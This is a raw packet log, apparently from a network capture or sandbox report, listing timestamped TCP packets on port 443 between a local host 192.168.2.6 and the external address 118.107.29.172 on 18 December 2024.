Dec 18, 2024 13:35:31.681447983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.681497097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.681512117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.681545019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.681566000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.686589003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.686614037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.686649084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.686656952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.686697960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.692898035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.692922115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.692962885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.692977905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.693003893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.693234921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.698532104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.698558092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.698596954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.698609114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.698637962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.698652983 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.711509943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.711536884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.711577892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.711591959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.711620092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.711639881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.711644888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.711644888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.711667061 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.711699963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.711699963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.711720943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.716960907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.716984987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.717042923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.717057943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.717092037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.717269897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.851969004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.851995945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.852047920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.852063894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.852094889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.852111101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.873100042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.873130083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.873172998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.873182058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.873209953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.873229027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.879493952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.879520893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.879571915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.879579067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.879625082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.884804964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.884829998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.884888887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.884896994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.884934902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.890863895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.890887976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.890928984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.890935898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.891031981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.898529053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.898550987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.898613930 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.898622036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.898667097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.902909994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.902935982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.902976990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.902985096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.903012037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.903033018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.908463955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.908489943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.908545017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.908559084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.908587933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.908606052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.044352055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.044377089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.044437885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.044466019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.044691086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.065236092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.065260887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.065318108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.065375090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.065406084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.065433979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.070733070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.070755959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.070838928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.070859909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.070903063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.076762915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.076787949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.076864004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.076889038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.076920986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.079916000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.082930088 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.082956076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.082987070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.082995892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.083023071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.083051920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.089375019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.089397907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.089473009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.089484930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.089540958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.095113993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.095136881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.095192909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.095202923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.095232964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.095247984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.100636959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.100661039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.100703001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.100711107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.100742102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.100761890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.236550093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.236572981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.236624002 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.236654043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.236670017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.236692905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.257518053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.257543087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.257631063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.257647991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.257688046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.263356924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.263380051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.263425112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.263433933 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.263453007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.263473988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.268831015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.268857002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.268899918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.268908024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.268932104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.268948078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.275739908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.275763035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.275830030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.275861025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.275877953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.276166916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.281316042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.281337976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.281419039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.281444073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.281502962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.287448883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.287472963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.287559986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.287592888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.287643909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.294456959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.294481039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.294570923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.294589043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.294644117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.428265095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.428288937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.428344965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.428415060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.428451061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.428474903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.449810982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.449834108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.449918032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.449943066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.449969053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.449987888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.454952002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.454977036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.455017090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.455029011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.455061913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.455076933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.461194992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.461218119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.461302042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.461318970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.461330891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.463895082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.467544079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.467565060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.467638016 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.467650890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.467691898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.473737955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.473759890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.473824978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.473845005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.473858118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.473910093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.479604959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.479629040 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.479706049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.479724884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.479765892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.485155106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.485177994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.485280037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.485306025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.485354900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.620815039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.620841026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.620888948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.620915890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.620934963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.620955944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.641860962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.641887903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.641947031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.641963959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.642009020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.647439003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.647460938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.647497892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.647511005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.647535086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.647557974 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.653901100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.653924942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.653985023 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.654022932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.654050112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.654187918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.660140038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.660161972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.660208941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.660221100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.660239935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.660366058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.666363001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.666384935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.666419029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.666451931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.666471958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.666531086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.671524048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.671545029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.671591997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.671610117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.671634912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.671649933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.677755117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.677778959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.677882910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.677901983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.677966118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.813415051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.813437939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.813616037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.813651085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.813697100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.834206104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.834228992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.834285975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.834305048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.834346056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.839982033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.840008020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.840066910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.840079069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.840090990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.843907118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.846232891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.846256971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.846301079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.846312046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.846357107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.846885920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.851948023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.851970911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.852044106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.852056980 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.852096081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.858164072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.858208895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.858259916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.858270884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.858318090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.858333111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.864116907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.864141941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.864229918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.864242077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.864281893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.870182037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.870203018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.870306969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.870306969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:32.870321989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:32.870884895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.005434990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.005460978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.005537033 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.005559921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.005616903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.026982069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.027004004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.027147055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.027147055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.027163982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.027880907 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.033473015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.033494949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.033555031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.033564091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.033591986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.033612013 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.038588047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.038609028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.038669109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.038680077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.038717031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.044915915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.044938087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.044990063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.045002937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.045030117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.045047998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.051189899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.051211119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.051271915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.051282883 CET	443	49728	118.107.29.172	192.168.2.6
